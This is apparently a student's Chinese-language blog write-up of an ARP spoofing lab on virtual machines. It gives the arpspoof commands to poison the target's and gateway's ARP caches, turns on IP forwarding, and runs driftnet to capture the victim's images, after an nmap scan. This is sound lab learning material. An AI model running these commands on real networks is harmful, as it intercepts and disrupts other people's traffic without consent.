(arpspoof + driftnet)实现arp欺骗

虚拟机环境：kali linux + window 7

---

---

前言

ARP欺骗：欺骗局域网内主机的网关MAC地址，使局域网内主机认为攻击机MAC地址是自己的网关MAC地址，导致局域网内主机对外请求流向攻击机，造成网络不通。

---

一、安装arpspoof和driftnet

arp欺骗工具，这里更新一下数据源和下载安装arpspoof

apt-get update
apt-get install -y dsniff ssldump

另外安装driftnet，一款监听截图工具

apt-get install -y driftnet

二、Attack

1.信息收集

攻击机命令如下：

nmap -T4 -A -v -Pn 192.168.241.0/24
ifconfig         //ip配置
ip route show    //网关
ping 目标机ip     //检查连通性
arp -a           //查看arp信息

最后整理数据如下：

攻击机 192.168.241.140  00:0c:29:7d:2d:2a
目标机 192.168.241.133  00:0c:29:f2:11:12  
网关 192.168.241.2   00:50:56:f8:d2:2d

2.MAC欺骗与流量截图

MAC欺骗：

arpspoof -t 192.168.241.2 192.168.241.133

此时目标机会断网

开启端口转发，不然目标机无法上网：

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
1

流量截图命令如下：

arpspoof -t 192.168.241.133 192.168.241.2 -i eth0
driftnet -i eth0

试着好久才成功几次，哈哈

---

总结

又一个暑假没了唉，大三了，本菜狗得回学校继续挣扎了，I just want to be happy…